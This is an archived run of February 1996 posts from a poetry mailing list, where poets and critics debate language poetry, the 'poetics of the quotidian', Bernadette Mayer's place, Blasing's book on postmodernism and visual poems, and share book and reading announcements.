Thanks to the list for all the great musicpo posts of late. I just got hold of the Langston Hughes Weary Blues cd, and it's tremendous--esp. the stuff from Montage of a Dream Deferred w/ setting and backing by Mingus--just perfect. I played that, along with some Patchen, on the jazz show i do for the college station here, and will try to keep working in more as i get hold of it...

steve

↑ Index

62. **Janet Hoelle**
Re: BORGES
Fri 2 Feb 1996

Have been reading a lot of Borges lately, namely, THE BOOK OF SAND. Now, I've been trying to figure out what his work means to me and what it might

mean to others? That is, should I classify it as philosophically introspective, or just sci-fi? Or perhaps just purely representative of Poe-esque, or O. Henry-esque tales, or all of the above? I imagine that one of his main influences was Poe, was it not? I don't really know what to do with his work. It seems like so many things at once, I don't know how to entangle it all to find out what it's trying to do. Is it just trying to imitate the gruesome and the fantastic, or does it want to make some Orwellian type statement, or perhaps some existential statement. Borges, himself said he wrote to pass the time, but of course modern criticism does not rely on, or trust the writer's motives as trustworthy devices for interpreting. Any help would be apprecitated. NICOLE HOELLE

↑ Index

63. Rae Armantrout
Re: poetics of the quotidian
Fri 2 Feb 1996

I'm not sure why people have the idea LangPo doesn't deal with the "quotidian." It seems to me that it admits a wider range of daily experience than the "normal" (whatever that is) lyric poem. Remember Silliman's anthology, In The American Tree, was subtitled Language/ Realism/Poetry. That word "realism" can mean (among other things) something similar to this "quotidian."

Rae A

↑ Index

64. Charles Bernstein
Bernadette Mayer Fan Club (charter member)
Fri 2 Feb 1996

Just to jump in quickly on this as it is the sort of thing that I find particulary disheartening: Bernadette Mayer was included in such 70s and early 80s assemblings of poetry and poetics as L=A=N=G=U=A=G=E, In The American Tree, This, etc.; her work has always been very important to me (I've written about it and often teach it) and I know that is true for many others who also published in these places. At the same time, Bernadette has publically expressed reservations about the approach to poetry and poetics often associated with these contexts. If this makes it difficult to "label" her, that's all for the good. But I do take exception to this (gossip assumed as fact no sooner than it's uttered):

> *but I definitatly wouldn't call Bernadette a language poet--*
> *and I don't at all mean that derogatorily to Bernadette---*
> *didn't the L poets exclude her though they championed MacLow, etc--*

> *Can anyone elaborate as to why Bernadette was excluded? I hope it was a damn good reason--but I can't imagine it was.*

↑ Index

65. Keith Tuma
Re: poetics of the quotidian
Fri 2 Feb 1996

Chris--

I wouldn't call Mayer a language poet either--the point was that Gilbert (probably) would, which (if I'm right) says something.

Haven't heard any stories of "exclusion"--she's in Ron S's anthology. BM does say a thing or two about language poetry/poets in that _lingo_ interview. I'll dig it out and quote if i must but would rather not.

best,

keith

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66. ryan johnson
Re: neuromantic poetry
Fri 2 Feb 1996

On Fri, 2 Feb 1996, Gwyn McVay wrote:

> My overromantic sensibility prefers "neurochromatic," like a rainbow
> spray of nerve endings.
>
And for that matter why not "neurochromantic," since (a) it's in the ballbark neologically and (b) it sounds quite possibly even more cool and, more than that, offers up a slew of what I guess we should call "interpretations" or perhaps glosses and finally (c) a few people will simply have no fuckin idea what it could be referring to and a dash of elitism, while hardly useful and by no means productive, is still bound to make language use more interesting--or make the debate about it so.

With neurochromantic fondness, then,
Ryan

↑ Index

67. **ryan johnson**
Re: poetics of the quotidian
Fri 2 Feb 1996

On Fri, 2 Feb 1996, Keith Tuma wrote:

> *Re Gilbert and the quotidian:*
>
> *Hank's right that it depends on what questions/frames Gilbert wants to ponder for the quotidian. So why don't you (David Carl) encourage her to sign on and ask for herself?*
>
> *Charles B. has posted his syllabus for a seminar on the ordinary at the EPC, and that might be relevant. Rumor has it too that Marjorie Perloff has a book-manuscript perhaps relevant too. Is that right Marjorie?*

I went to a little talk the other day at which Marjorie chatted about some of this stuff, with reference to what I think must be the intro. of the MS in question, which makes the book look worth reading--it's about Wittgenstein and stuff, subTI "...the Strangeness of the Ordinary", but of course she'll tell more and better. Anyway I'm wondering (and she probably goes into this, or could) whether perhaps the term "poetics of the quotidian" could be narrowed to _language_ of the quotidian, and whether that might generate some better discussion; when we ask ?'s w/such enormous terms as "poetics" we know we're heade to murky territory in the first place, and in the second place we're really not saying much anyway. Enough about themes, etc.! What's distinct, not about some Mode of L poetry, but about its uses and abuses of its own materiality?

Hoipe this has been suitably time-consuming for all, Ryan

> *I'd vote for Bernadette Mayer's Midwinter Day, Bernstein's "Emotions of Normal People" (moving the q to discourse etc.), Scalapino's Way, and (with Chris) Ron Silliman's Toner, with its hilarious first line ("Meet my personality") playing on the title. RS's Jones too. All those people probably count as langpo for Gilbert. Eigner is probably closer to what she's looking for in "quotidian." But it's hard to guess, so as i say why not ask her to sign on and ask? And then maybe someday they'll be a new Norton which does a little more than gesture at recent "experimental" writing by adding Michael Palmer and Kamau Brathwaite (as does the new edition of the Norton Anthology of Poetry edited by Ferguson, Salter, and Stallworthy).*
>
> *Keith Tuma*

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68. Kevin Killian
Re: poetics of the quotidian
Fri 2 Feb 1996

At 9:40 AM 2/2/96, Gwyn McVay wrote:
>If you consider Hejinian a "language poet," which is utterly debatable
>but which an academician like Gilbert might well do, you could point to
>her poem 2 from the Redo sequence:

Call me naive, but I don't see how this is debatable. Isn't Lyn like one of LP's founding mothers/sisters/whatevers?

Dodie Bellamy

↑ Index

69. Rod Smith
Re: book/record ordering on the net
Fri 2 Feb 1996

Thanks to J Zitt & Simon Schuchat for plugs for Bridge Street Books. We like to think of ourselves as your one-stop Poetics shop. LOTS of poetry, small & large press, journals, criticism (plenty, all kinds). E-mail me [redacted] if we can be of use. Best, Rod Smith

↑ Index

70. Steve Carll
Re: poetics of the quotidian
Fri 2 Feb 1996

At 04:58 PM 2/2/96 -0500, Rae Armantrout wrote:
> I'm not sure why people have the idea LangPo doesn't deal with the
>"quotidian."

Well, it seems like a lot of people who get ideas like this have been reading too much theory and not enough of the poetry. I'd even go out on a limb and say that if one were to approach the poetry without reading anything specifically identifiable as "criticism" (though of course these categories come increasingly to collapse), and then ask oneself this question about the quotidian, one might just come to the conclusion that a goodly portion of LangPo is dedicated to taking elements of experience not traditionally thought of as "quotidian" and making them PART of the everyday by relentlessly calling our attention to them. Which is not to conjecture whether this endeavor succeeds or fails--that's up to the individual reader and hir experience coming onto the field.

And that's my gross generalization for the day. Submitted for responses from the fiberoptic floor. :-)

Steve

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71. Keith Tuma
Re: challenges
Fri 2 Feb 1996

A question for Henry Gould about Mutlu Blasing's book. I think an early version of one of these chapters appeared some years ago in _American Literary History_, an essay on Merrill which used Michael Palmer as a strawman. What I found interesting about that essay was the degree to which its arguments depended not upon a reading of Palmer's poetry but rather on a parsing of some remarks made in an interview (which I happen to have conducted). So my question: to what extent does Blasing actually attempt to READ the poetry she is calling "late modernism" and to what extent do her claims depend upon prose written by language poets? (Some of this prose announces itself as "misleading"). The question emerges(in part) after your account of her reading of Olson.

Just curious. Since books are expensive, I want to know if I should hurry out and spend the money to see what the 21st century will look like. I'm also wondering if she's tried to name the inheritors of the "real" after-modernism (avoiding that p-word), those carrying on for Bishop and Merrill?

Lots of questions, but those are the first two. I was also fascinated by the argument as it appeared in ALH (had a title like James Merrill , Postmod- ernist, or some such) and remember thinking that, well, if the term's that important to her, she can have it). But I AM interested in hearing more of the book. Why this need to name THE postmodern, to wrestle it away from so-called imposters? Why this need to name THE future? How does she avoid becoming tangled in the very tactics she attributes to so-called "late-modern" Olson/lp/etc.?

Keith Tuma

↑ Index

72. Chris Stroffolino
Re: Bernadette Mayer Fan Club (charter member)
Fri 2 Feb 1996

Dear Charles-- Thanks for the clarification. I should not have made so hasty generalization (though it WAS in the form of a question; and there ARE

different levels of exclusion--but I guess there's no point getting into that).... But the main point I was trying to make in this discussion was a trend *I* consider disheartening---that is the co-optation of PRE-LANGUAGE poets under that banner, and I am NOT blaming any single person Charles for this--but am trying to cut a bandwagon off at the pass before people like Gilbert start seeing O'Hara, Spicer, Ashbery, Schuyler, etc. AS LANGUAGE poets....as if any of this MATTERS. love and love, chris stroffolino

↑ Index

73. Jeremy or Carol Close

Moving Lips:The internalisation of print media

Sat 3 Feb 1996

Certain classes have internalised the printed word. Written language no longer has to echo the spoken. The spelling of the English language shows this.

Does anyone know examples of poetry which is fine to the eyes but is not for the ears? This must be possible without resorting to any visual effects beyond the ordinary typeface, with ordinary spacing.

Surely?

Carol

..... ::::::

First off: Politics of Postmodernism, by M.K.Blasing, Cambridge UP, is $56. The only reason I have access to it is that I work in a college library. So if you're thinking of buying it, well, that's the price. Maybe check the library first (or ask them to order).

Does the author actually read Olson, Language poets? The "close readings" are only of the 4 authors I mentioned (Ashbery, O'Hara, Bishop, Merrill). As a critic, she's taking the long historical view; but part of her argument is that American poetry, from at least Whitman, has ALWAYS conflated technique with politics. And when "Poundian" modernists combine this with the rhetorical equation "anti-rhetoric = truth/nature/reality" they are assuming certain things about poetry which "her" postmodernists cannot assume without question. She quotes Merrill from an interview saying that the poets he admires "write like angels; Pound tries to write like a god." I.e., Pound believes his writing purifies rhetoric out and transcribes the real; the postmodernists, on the other hand, are skeptics writing with an awareness of the inherent persuasion - that every speech act is both indeterminate and politically implicated - in poetry. Rhetoric is both unavoidable, and is a link with the communal means of making poetry which have always been available.

I'm sorry to just rehash what I wrote before; haven't quite addressed what you raised. My "book review" was a precis, not an endorsement; I think this whole hashing out of historico-critical judgement is integral & necessary - it's how succeeding generations encounter what's been done - but it's the poets, not the critics, who provide the real synthesis/appreciation of what's been done. Critical generalizations are always subject to refinement & debunking. For example, Blasing has no room to address the mediating role of "painterliness" - ut pictura, and all that - insinuating between so-called New York poets and language poets. Abstract expressionism is extremely CONCRETE - it's just the paint on paper, the way Zukofsky is just the words - and this has affected the artistic goals of "experimental poets" in ways which have little to do with Blasing's characterization of "heroic modernism".

In spite of this, I think Blasing has clarified a lot of the political issues in US poetry, raised some good questions, maybe enabled the junking of a lot of attitudes that have been around too long. I think the ponts people have raised about the refreshing "unpoetic" feel of language poetry, its new tone, are very true. I also think a lot of it is just as self-indulgent and arbitrary as the most "subjective free verse" of the 70s was. I shouldn't even say anything cause I've read so little of it. I find most of it too vague, undirected, hard to read. It's all mannerism, all surface, no meaning, no pith. Sorry. Go read a poem.

Ultimately - now that I'm really blathering - I think Blasing and LP represent 2 poles of postmodernism, and I don't really buy into either. It's all based on

deconstruction, which I don't accept either, though its refinements are fascinating. Why don't I accept it? Basically, because i think that synthesis, unity, and identity are just as integral to reality - and just as remote from human comprehension - as are deconstruction's difference, division and undecideability. - Henry Gould

↑ Index

75. Rod Smith
Re: challenges
Sat 3 Feb 1996

Blasing's book is a challenge but believe she tips her hand in her choice of subjects. O'Hara, Bishop, Ashbery, & Merrill. Par for the quotidian, ey? Hank Lazer's recent reading of Charles B. relative to Ashbery in APR seems strong response to Blasing's frame. Also Rasula's _American Poetry Wax Museum_ seems truly useful historicizing relative to Blasing. In this context open as opposed to closed form takes on wider connotation, i.e. institutional connotation. There's no questioning the rhetorical complexity of the poets Blasing is pushing but the same complexity is to be found in Brathwaite, or Berrigan, or Hejinian, Spicer!, or, or, or, when it is read for. At the (big) risk of oversimplifying, it reminds me of a criticism leveled at Derrida-- deconstruction of the Western Canon, yes, but that's still placing attention on the Western Canon. Or, more concisely, deconstruction as nostalgia for the canon. So, in many ways Blasing is right (pun intended), but in the ways that matter to me as a writer, reader, & publisher, way wrong.

Another note, on Rasula's book, which I second many in *highly* recommending. I was struck by the absence of the New York School as a force. Black Mountain gets 8 citings, l.p. 12 (or more), S.F. Renaissance gets 2, "New York School" as a phrase appears only once. Ashbery & O'Hara get discussed here & there, though in the counting citations game Clayton Eshleman receives as many as O'Hara (seven). Mayer gets two cites, Notley one, Berrigan one. Duncan, cujillion. All of which to say a chapter's missing from the book which would read the Padgett/Shapiro anthology, maybe the World anthology, possibly talk about the Hoover's genesis in _Oink_, etc. And address the question whether there is was will be an "Age of Ashbery." Though his poem in _Can You Hear, Bird_, "Today's Academicians" answers that better'n inybotty. --Rod PS-- I've learned Raworth's teaching in Cal., wld appreciate anybody with his # or add sending it. Thanks.

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76. Schuchat
Re: Bernadette Mayer Fan Club (charter member)
Sat 3 Feb 1996

The relationship between Langpo and Bernadette Mayer's work is, as Charles B and Chris S both note, very much there. As I dredge into my memory of what happened, at least as perceived in NYC when L=A=N=G=U=A=G=E first appeared, langpo appeared as a reaction or response to the vulgar zen/"no-nothing bohemianism" of second/third/4th gen ny school then predominant downtown. Bernadette was/had been a visible exception to an apparent anti-intellectualism. But her writing was also very much a part of and accessible within that other tradition, which could be part of why she might want to draw distinctions between her work and langpo. Alice Notley might be another example.

But why should Sandra Gilbert distinguish between Bruce Andrews and John Ashbery (esp. THE TENNIS COURT OATH). Isn't the writing equally programmatic (or not)? Or, between Bob Grenier and Larry Fagin? I don't think of langpo as a movement like surrealism where individuals are constantly being thrown out and readmitted after self-criticism. Its more a way of categorizing or approaching a range of writing that loosely shares some general principles/points of view.

Tho I admit my standing for adjudicating these questions might be less than authoritative.

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77. Kenneth Goldsmith
Henri Chopin
Sat 3 Feb 1996

Loss and Herb:

Henri Chopin's Les 9 Saintes-Phonies is released on Staalplaat and I ordered it over the net thru Soleilmoon:

http://weber.u.washington.edu/~isomorph/Sol.html

It is a retrospective of Chopin's work 50's-80's and includes a 70 page cd-sized booklet! I also picked up Gregory Whitehead's "Dead Letters" in the same virtual shot; a wonderful net resource.

==========
==========
Kenneth Goldsmith http://wfmu.org/~kennyg

[redacted]
v. [redacted]

↑ Index

78. Aldon L. Nielsen
Re: Billy Higgins
Sat 3 Feb 1996

Just learned that Billy Higgins, who I had seen performing brilliantly as recently as last year, is extremely ill. -- The following from a local paper:

"Higgins, 59, revealed last week that his health has deteriorated to the point where he can do nothing but sit and wait for an available liver. The operation would be performed at UCLA Medical Center. Higgins and his wife, Gina, are planning to raise the money needed for the procedure and post-op care."

In addition to Higgins's remarkable work as a musician, he launched the World Stage performance space and record label based in Leimert Park. Last year his wife opened the California Coffee House in Culver City. Neither of these will produce enough income for the operation.

According to the paper, you can arrange to donate funds, or get further info., by calling one of the following numbers:

[redacted]
[redacted]

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79. Ron Silliman
Re: poetics of the quotidian
Sat 3 Feb 1996

> Sandra Gilbert has "challenged" me to demonstrate the extent to
>which "language poetry" (still perceived as a fairly homogenous group among
>most academic poets) participates in a poetics of the quotidian.
>
>Any suggestions?
>
>David Carl
>[redacted]

>
Tell her to read the work.

More seriously, though -- and even though I think you could quote almost any passage from the work of a dozen or so folks and demonstrate that point (Watten's Progress, any of my writing, My Life by Hejinian, anything by Bruce Andrews, anything by Hannah Weiner, anything by Charles Bernstein, etc.) -- I'm not sure that a "poetics of the quotidian" is a value as such. Rather, the question might be better posed of what do people do with daily life in their poetry? What does their work expose, treat, extend?

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80. Ron Silliman
Re: neuromantic poetry
Sat 3 Feb 1996

Rae Armantrout has a book entitled Necromance. Is this an accident? We think not.

Ron Silliman

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81. Ron Silliman
Re: quotin' the quotidian
Sat 3 Feb 1996

Geez, Hank,

I try hard NOT to make vomit quotidian and would recommend that strategy generally, even to Ashes.

Ron Silliman

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82. Ron Silliman
Re: poetics of the quotidian
Sat 3 Feb 1996

Chris,

You are hallucinating. Never in my life have I ever heard anybody who has been described as a language poet "exclude" Bernadette. Please look on page 410 of In the American Tree (and for the next 14 pages) and her theoretical writing in the "Second Front" section of the anthology (p. 557), which comes immediately before my own. And I think that the experience of _Tree_ is typical.

While Bernadette has always been closely personally and aesthetically to the NY School, so have Greenwald and Coolidge. And similarly, Grenier and Bromige come straight out of the Black Mountain aesthetic. But so what?

What is this distinction that needs to be maintained? By whom?

Ron Silliman

> Keith, but I definitatly wouldn't call Bernadette a language poet--
> and I don't at all mean that derogatorily to Bernadette---
> didn't the L poets exclude her though they championed MacLow, etc--
> I think this distinction needs to be maintained....
> Though definitely tell Gilbert to read MIDWINTER, etc.....chris
>

↑ Index

83. Ron Silliman
Re: challenges
Sat 3 Feb 1996

I haven't read the book but I'm not sure that I don't agree with Blasing that langpo carries forward many of the fundamental impulses that underly modernism. In the same general sense that Habermas talks of "modernity" as an incomplete project (tho "completeness," Habermas' term, seems peculiarly teleological a category).

Much of what makes the postmodern discourse so incoherent is that it presumes (as apparently does Blasing's book, at least from Henry's posted synopsis) a stable definition of modernism that one might be "post"...and no such definition exists or (I would argue) is even possible.

In literature, the dominant discourse around that term extends out of the new critics' appropriation of Clement Greenberg and is full of misreadings, a justification of an aesthetic that would take us from Joyce to Robert Lowell.

That list of pomo writers (Blasing's category) is equally silly. I've seen several attempts by people to invoke premodernists and/or antimodernists as a form of pomo (I've heard some of gnu formalists use it thusly).

What argle-bargle this all is.

Ron Silliman

↑ Index

84. Gabrielle Welford
Re: Marchand Du Sel & Rose Selavy
Sat 3 Feb 1996

> > (by cris cheek,tom bell, maria damon, jordan davis, jorge
> > guitart, lisa samuels, & gabrielle wellford)
> >
> > > >> to trim xray architecture shirts slowly over the wellspring dovetailed
> > > >>
> > > >> for angels from aching or is it mapped
> > > >>
> > > >> participle laredo allows hoodlum rainbow and flip salubrious
> > > >>
> > > >> whimpering foraged aura container dangling over a set slowly better
> > > >>
> > > >> delfin forging better yet 'e' over hailwater architecture
> > > >>
> of that stature dwarfs pink elephants and alphabet soup
>
  sloppy fingers meet fade boast apart from sally

↑ Index

85. Chris Stroffolino
Re: challenges
Sat 3 Feb 1996

Dear Ron---could you please elaborate on your sense of the
New Critics' appropriation of CLEMENT GREENBERG?
It makes sense, but WHEN did it happen? (late 40's?)
Any specific essays by N.C.'s you might suggest on this...
I want something more than speculation...
It would really put O'Hara's quasi-polemical writings against
Greenberg in a different light.....
thanks, chris.

↑ Index

86. Landers
Re: Bernadette Mayer Fan Club (charter member)
Sat 3 Feb 1996

Mayer and many other cool poets called themselves "United Artists", i think.

pete

↑ Index

87. Chris Stroffolino
warning: i break for hallucinations
Sat 3 Feb 1996

But that's okay I don't have a car....
Anyway, I wanted to announce a poetry reading I'm giving
with Lisa Jarnot and Heather Ramsdell
this coming friday at the ICHOR GALLERY
Friday, February 9th 8:30PM
127 West 26th St.

And for those of you not familiar with my poetry (and I myself I am not extremely familiar with it right now---and even less of Heather Ramsdell's aside from a piece in SULFUR 35) maybe it would "help" to know that when a friend handed a card to a certain unamed prominent NYC LANG PO (and no, NOT RON or CHARLES), he said that he probably wouldn't go because we're CONSERVATIVE! Yours in "the politics of poetic form"-----chris stroffolino

↑ Index

88. Steve Evans
Re: challenges
Sat 3 Feb 1996

Dear Chris,

Greenberg's contribution to a PARTISAN REVIEW symposium on the State of American Writing, 1948, might interest you, not only for the distance CG takes from the "new" criticism, which "has illuminated much but...also darkened much, shutting out both light and air" and in which stirs "the breath of provincial- ism, not to say academicism" (256), but also for his interesting characterization of the avant-garde project. His contribution begins:

"It seems to me that the most pervasive event in American letters over the last ten years is the stablization of the avant-garde, accompanied by its growing acceptance by offical and commercial culture. It has modified that culture to a limited extent and has in return been granted a recognition and place that do not dissatisfy it. The avant-garde has been professionalized, so to speak, organized into a field for careers; it is no longer the adventure beyond ratified norms, the refusal in the name of truth and excellence to abide by the categories of worldly success and failure. The avant-garde writer _gets ahead_ now, and inside established channels: he obtains university or publishing or magazine jobs, finds it relatively easy to be published himself, is asked to lecture, participate in round tables, etc., writes introductions to the classics,

and can even win the status of a public figure. There is nothing inherently wrong with this (after all, who is best fitted to write introductions to the classics? and why shouldn't serious writers be rewarded with material security?), but so far this accomodation has produced liabilities that outweight the assets."

"The State of American Writing, 1948: A Symposium." ARROGANT PURPOSE, 1945-1949. Ed. John O'Brian. Vol. 2 of THE COLLECTED ESSAYS AND CRITICISM. Chicago: U of Chicago P, 1986. 254-59.

> *Dear Ron---could you please elaborate on your sense of the*
> *New Critics' appropriation of CLEMENT GREENBERG?*
> *It makes sense, but WHEN did it happen? (late 40's?)*
> *Any specific essays by N.C.'s you might suggest on this...*
> *I want something more than speculation...*
> *It would really put O'Hara's quasi-polemical writings against*
> *Greenberg in a different light.....*
> *thanks, chris.*

↑ Index

89. Marjorie Perloff
Re: the Quotidian
Sat 3 Feb 1996

Ryan Johnson and Keith Tuma referred to my work on the quotidian--in my new book (out in a few months) called WITTGENSTEIN'S LADDER: POETIC LANGUAGE AND THE STRANGENESS OF THE ORDINARY--I take up precisely this question. I would argue, contra Gilbert etc. that "language poetry" is one of the sites where the ordinary (I don't like the word quotidian much because it's not quotidian enough and makes me think of Wallace Stevens's "The Malady of the Quotidian"), is most sharply foregrounded. Robert Creeley, as I argue in the book, does extraordinary things with the most ordinary and everyday of words and phrases and so do Rosmarie Waldrop, Ron Silliman, Rae Armantrout, Charles Bernstein, etc etc.

One of the most important distinctions, I think, is between those poets who really try to understand ordinary language as it's actually used by all of us, and neo-confessionals like Gilbert is that if you look at, say, a Philip Levine poem closely--one of those poems that purports to be "real honest," "man-to-man," "no punches pulled," you'll see that the language in fact is not the least bit "ordinary"--that is, people don't say the things he has them saying--but is a kind of simulated candor that I find terribly irritating.

I'm at this moment teaching for the first time in years Frank O'Hara and what makes him so delightful and amazing (and so unlike a Levine) is that he's willing really to say in a poem what he might say in actual conversation even as

he steps back and laughs at himself. His work is much closer to language poetry than had been thought: witness Ben Friedlander's recent PhD dissertation for Buffalo, "jetting I commit the immortal spark," 69 parts of an essay on Frank O'Hara (a set of poetic meditations). I think a key question in this debate is to look at actual lines of poetry and ask yourself the Wittgensteinian question, "Under what circumstances and in what context, would someone actually say this?" Try it out on the typical Norton anthol. poem and you'll see how fakey it really is, how much self-censorship goes on.

And speaking of Norton, I just got the ad for the new 4th edition of the Norton Anthology of Poetry and was dismayed. It is even worse than the 3d. Now that Norton has done its "bit" but publishing Hoover's PoMo anthology, they evidently think they can go back to business as usual. This new Norton is enough to make anyone want to forget all about poetry, at least postWorld War II American poetry. Lots of Anthony Hecht and Amy Clampitt.....

Marjorie Perloff

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90. Loss Glazier
EPC: Literary Archives
Sat 3 Feb 1996

Just to let you know a new set of links has been added to the Electronic Poetry Center. It's called:

EPC Connects: Literary Archives

This links to some pretty incredible lists of manuscript and other material by poets that many here would find interesting. These are finding aids but they read better than most books in your average bookstore!

Right now I've linked to:

--SUNY Buffalo Poetry Collection
--UCSD Literary Archives
--University of Connecticut--Storrs

So do have a look! Also, if you know of other similar collections with similarly extensive online guides, let me know via a personal e-mail message.

My congratulations to the folks at these institutions who have made these collection descriptions available!

Brought to you by the EPC, visit us at
http://writing.upenn.edu/epc

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91. Blair Seagram
Bridge Street Books
Sat 3 Feb 1996

Coming in after the fact, I would also like to put in a plug for Bridge Street Books. Rod is helpful and exacting. The books arrive promptly and without a hassle. Thank you Rod Smith.

best wishes,

blair

↑ Index

92. Mark Nowak
Pomo
Sat 3 Feb 1996

In the last few days I've received several messages that abbreviated Postmodern "pomo" or "PoMo." In respect to the California Native Americans whose heritage is Pomo, I'm wondering if we could find a substitute abbreviation.

For some fine work by writers of Pomo heritage, see any of Greg Sarris's recent books and Kathleen Rose Smith's work in _The Sound of Rattles and Clappers: A Collection of New California Indian Writing_ (Arizona, 1994).

Mark Nowak, Minneapolis

↑ Index

93. Thomas Bell
Re: neuromantic poetry
Sat 3 Feb 1996

psychoneuroimmunologiclassical?

autopoietic

neuroimmune

Tom Bell

↑ Index

94. Maria Damon
Re: Marchand Du Sel & Rose Selavy
Sat 3 Feb 1996

now guyzies, weren't we going to spare the POETICS crowd our actual composing process, and only subject them to several highly selective finished products? maria d

↑ Index

95. Joe Amato
Re: challenges
Sat 3 Feb 1996

well i s'pose this is ancillary to henry's initial post re blasing's book, which just in terms of the poets she's lumping together seems to me driven by the same old same old sorts of literary theoretical issues... anyway, as to the postmodern, and at the risk of appearing pedantic as hell, check out the 'definition' offered in the johns hopkins guide to literary theory... really, no bullshit here---it's really a nice summary of how the term has been used, what it currently signifies...

anyway, it seems clear to me from henry's summary that, whatever its value (and to risk responding hastily given that i haven't read it), blasing's book is operating along tried & (un)true institutional coordinates... that is, we take such & such poets, we 'read' them against various claims to political efficacy (some made by the poets themselves, some not), and we determine which poets have played the fool to historical realities (modernist, pomo, etc.), which rhetorics, not to say poetics, are the more successful in surfacing aesthetic-political tensions and 'deploying' rhetorical antidotes of one sort or another, as identified by the poetry critic as most pressing (pressing wrt their day? to today?)... which amounts to a way of measuring and judging aesthetic practice in terms of a presumed political imperative to which we have unmediated access thanks to one of various critical methodologies...

this is just too easy, finally... i hate to play the gadfly, but i'm forced to ask whether in fact blasing is willing to apply such rhetorical-aesthetic-political analysis to her own effort, her own text?... where is the corresponding critique of critical practice that has 'given us' such poets in such terms in the first place, that has so placed poets at the hands of critical practice, critical judgment?...

it could be argued that what we need are different ways of reading various poetries---historically, politically, aesthetically, etc... that at least some of these ways of reading would entail different ways of writing and rewriting critical practice, of situating critical practice... and that no way of reading is immune from its own institutional moorings/maneuverings---which, irony of ironies, i

take (at this point, anyway) to be blasing's point wrt any but her OWN practice...

mebbe i should go out and read the damned thing, but even thinking about it makes me cranky... or is it the minus 6 deg. high here in the windy city?...

joe

↑ Index

96. Maria Damon
Re: Marchand Du Sel & Rose Selavy
Sat 3 Feb 1996

---

to trim xray architecture shirts slowly over the wellspring dovetailed
> > >>
> > >> for angels from aching or is it mapped
> > >>
> > >> participle laredo allows hoodlum rainbow and flip salubrious
> > >>
> > >> whimpering foraged aura container dangling over a set slowly better
> > >>
> > >> delfin forging better yet 'e' over hailwater architecture
> > >>
of that stature dwarfs pink elephants and alphabet soup
crackers and coconuts, horsefeather moustachio

↑ Index

97. Chris Stroffolino
Re: challenges
Sat 3 Feb 1996

Thanks Steve Evans---it's definitely helpful, and
thanks Joshua Schuster for pointing out Silliman's essay in
POETICS BRIEF 7 (which I don't have yet) which allegedly also
treats on Greenberg-New Criticism connection.....
chris s.

↑ Index

98. Ward Tietz
Re: Moving Lips...
Sat 3 Feb 1996

On Saturday, February 3, Carol Close wrote.

"Certain classes have internalized the printed word. Written language no longer has to echo the spoken. The spelling of the English language shows this.

Does anyone know examples of poetry which is fine to the eyes but is not for the ears? This must be possible without resorting to any visual effects beyond the ordinary typeface, with ordinary spacing."

These criteria restrict and cancel in a very curious way, but I think some concrete poetry does what is described.

Here are a few examples.

Eugen Gomringer's

```
silencio  silencio   silencio
silencio  silencio   silencio
silencio            silencio
silencio  silencio   silencio
silencio  silencio   silencio
```

Aram Saroyan's

lighght

or

eyeye

(those are the pieces)

Gerhard Ruehm's

("du" is the informal "you" in German)

I suppose it's debatable whether these are "not for the ears" but they do have the peculiar ability to block sound, at least initially. They are "fine to the eyes" but the visual specificity or "fineness" they provoke, because of their insistence on formula, can also collapse into the opposite impression.

Ward Tietz
rte. de St. Cergue, 48a
CH-1260 Nyon
Switzerland

↑ Index

99. **Joseph Zitt**
Re: Pomo
Sat 3 Feb 1996

On 3 Feb 96 at 18:41, Ron Silliman wrote:

> *I'm curious about the assumption behind Mark Nowak's no-doubt well-intended comments about pomo and Pomo. Where precisely is it written that homophones shall only have one denotation? Can you can the can-can on such grounds?*

Well, we could use "posmo" -- but who would we put on the cover of Posmocolitan? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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100. Joshua N Schuster
Re: Challenges, Chris
Sat 3 Feb 1996

Chris, Not POETIC BRIEFS but POETICS JOURNAL 7 (Watten, Hejinian), all the way back from 1987. (I found it used, along w/ Perloff's first on Yeats?--which I again saw later, just a fragment, anthologized (mid-80's _Lit. Theory in Praxis_) under a rubric of New Criticism (??))

-joshua

↑ Index

101. Joe Amato
Re: Pomo
Sat 3 Feb 1996

---

and i wasn't aware (as of my last post) of the "pomo" designation mark nowak indicates... the term has been used shorthand in discussions of postmodernism for some time now... i'm willing to revise my use of same, sure, let's try to find a better term... how bout postmo?...

joe

↑ Index

102. Dan Raphael Dlugonski
neuromantic poet
Sat 3 Feb 1996

---

i'm pumping up sensations
so what bulges from my arms arent veins
but molten receptors comingling through epidermal censorship

body's webwork hungry to inhale
thye thickening light of information
fending off my isolation and lack of heat

↑ Index

103. Steve Carll

Re: Moving Lips:The internalisation of print media

Sat 3 Feb 1996

At 04:06 PM 2/3/96 +1030, Carol Close wrote:
>Certain classes have internalised the printed word. Written language no
>longer has to echo the spoken. The spelling of the English language shows
this.
>
>Does anyone know examples of poetry which is fine to the eyes but is not for
>the ears?

Do you mean "not fine for the ears" or "not for the ears at all"? If the latter, I don't go along with your premise. The ear is always just as involved in language as the eye is. Only the proportions shift--i.e., some poems appeal more to the "outer" eye and the "inner" ear, some to the "mind's" eye and the "real" ear. But a glance through Kostelanetz' anthology _Text-Sound Texts_ will show that a sound poem (one that ostensibly exists only as sound) can indeed be effectively presented as--a visual or concrete poem (one that ostensibly only exists as visual sign). These are just two poles of the same magnet. Without *both* poles, you'd have no magnet and *no* poles.

E.E. Cummings' grasshopper poem has been cited as being a poem that cannot be spoken, but in my experience reading it, the ear does struggle to pronounce the words with their jumbled-up letters.

Written language may no longer have to echo the spoken, but that doesn't mean there's no connection at all between them.

Of course, some poems seem to present themselves more engagingly in media in which sound is foregrounded, while others seem to do so in media which foreground sight. But I wonder if this phenomenon isn't terribly subjective and individual.

Can anyone think onf any other examples we could talk about?

Steve

↑ Index

104. **Peter Jaeger**

Re: Moving Lips:The internalisation of print media

Sat 3 Feb 1996

How would one read bpNichol's one word poem:

st*r

for the ears?

-Peter Jaeger

On Sat, 3 Feb 1996, Steve Carll wrote:

> *At 04:06 PM 2/3/96 +1030, Carol Close wrote:*
> *Certain classes have internalised the printed word. Written language no longer has to echo the spoken. The spelling of the English language shows this.*
>
> *Does anyone know examples of poetry which is fine to the eyes but is not for the ears?*
>
